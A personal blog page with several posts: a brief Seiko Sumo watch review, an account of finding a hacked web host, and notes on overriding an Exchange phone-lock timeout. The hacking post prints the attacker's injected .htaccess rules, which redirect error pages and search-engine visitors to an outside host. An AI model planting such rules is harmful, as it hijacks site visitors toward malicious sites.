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Sunday, June 06th, 2010 | Author:

Here’s my mini short review of Seiko Sumo.

Well, it’s a 6L15 with hand winding and hacking feature. I really like hand winding my watch. Besides reading time and adjusting time, hand winding is the closest thing with interacting with the watch.

Most of my Russian watches are hand windable, they tend to go “click click click” when you wind, it’s the click going against the ratchet wheel. The click also prevents the main spring from unwinding.

Anyway, on newer movements, like 6L15 and ETA 2824, the winding goes without such clicking. It’s has a sandy feel, like sticking something into the sand and twisting it.

That’s the main difference on hand winding for me and the hacking is a bonus feature.

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Sunday, July 26th, 2009 | Author:

It’s been a while since my last entry. A few things was happening, my blog engine went kaput a few weeks ago and it actually affected my Google ranking. 🙁 I saw a significant drop search engine directed traffic.

Recently I discovered some malicious activity on my other web host. I was going through my gallery, http://jiehong.net/gallery when after a few clicks, I got re-directed to ask.com. I thought I haven’t renew my subscription or my domain hosting.

After checking my subscriptions, all is fine. I went into cPanel to poke around. What can cause re-directions, I check the re-directions settings, sub-domains etc. Finally I discover some re-directing codes in some of my .htaccess.

Sample:

ErrorDocument 400 http://ake.kz/in.cgi?8
ErrorDocument 401 http://ake.kz/in.cgi?8
ErrorDocument 403 http://ake.kz/in.cgi?8
ErrorDocument 404 http://ake.kz/in.cgi?8
ErrorDocument 500 http://ake.kz/in.cgi?8

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.* [OR]
RewriteCond %{HTTP_REFERER} .*ask.* [OR]
RewriteCond %{HTTP_REFERER} .*yahoo.* [OR]
RewriteCond %{HTTP_REFERER} .*excite.* [OR]
RewriteCond %{HTTP_REFERER} .*altavista.* [OR]
RewriteCond %{HTTP_REFERER} .*msn.* [OR]
RewriteCond %{HTTP_REFERER} .*netscape.* [OR]
RewriteCond %{HTTP_REFERER} .*aol.* [OR]
RewriteCond %{HTTP_REFERER} .*hotbot.* [OR]
RewriteCond %{HTTP_REFERER} .*goto.* [OR]
RewriteCond %{HTTP_REFERER} .*infoseek.* [OR]
RewriteCond %{HTTP_REFERER} .*mamma.* [OR]
RewriteCond %{HTTP_REFERER} .*alltheweb.* [OR]
RewriteCond %{HTTP_REFERER} .*lycos.* [OR]
RewriteCond %{HTTP_REFERER} .*search.* [OR]
RewriteCond %{HTTP_REFERER} .*metacrawler.* [OR]
RewriteCond %{HTTP_REFERER} .*bing.* [OR]
RewriteCond %{HTTP_REFERER} .*dogpile.*
RewriteRule ^(.*)$ http://ake.kz/in.cgi?7 [R=301,L]

I discovered a folder was created in my public_html, “coming10/almost”. What’s almost, the hacking is almost done ?
I found the following files inside
– .htaccess
– doing83.html
– er404.php
– everyting40php
– thanks28.html

They all contain encoded javascript to redirect visitors to some site. MY VISITORS ! I reported to my web host, I wonder how much action can they take. They are using ClamAV to scan the /home. Oh well… I’m expecting somebody eye-balling the logs to determine the source of entry.

Now I still do not know how they got in, so I need to monitor my site very closely.

Category: Security, Technical  | Tags: , , ,  | One Comment
Saturday, October 11th, 2008 | Author:

After I found the hack to extend or remove the auto phone lock which is enforced by the Microsoft Exchange Security Policy. The changed settings don’t really last, even after disabling the “Enable Device Policy Update” !

So as long as that 15min time out lock came back, I have to apply the hack settings again. Oh bummer..

Category: Mobiles  | Tags: , ,  | Leave a Comment
Sunday, October 05th, 2008 | Author:

My story on why I decided to change the phone lock timeout.

When I first power on my HTC Touch Pro, I went through the start up wizard, it prompt me to set a phone lock pin and a timeout for activating the lock. I decided to go with 15mins, since I can change it later.

I decided to configure an Exchange profile on my Touch Pro for my office emails, since I have a Mobile Broadband plan with a 50GB data limit.

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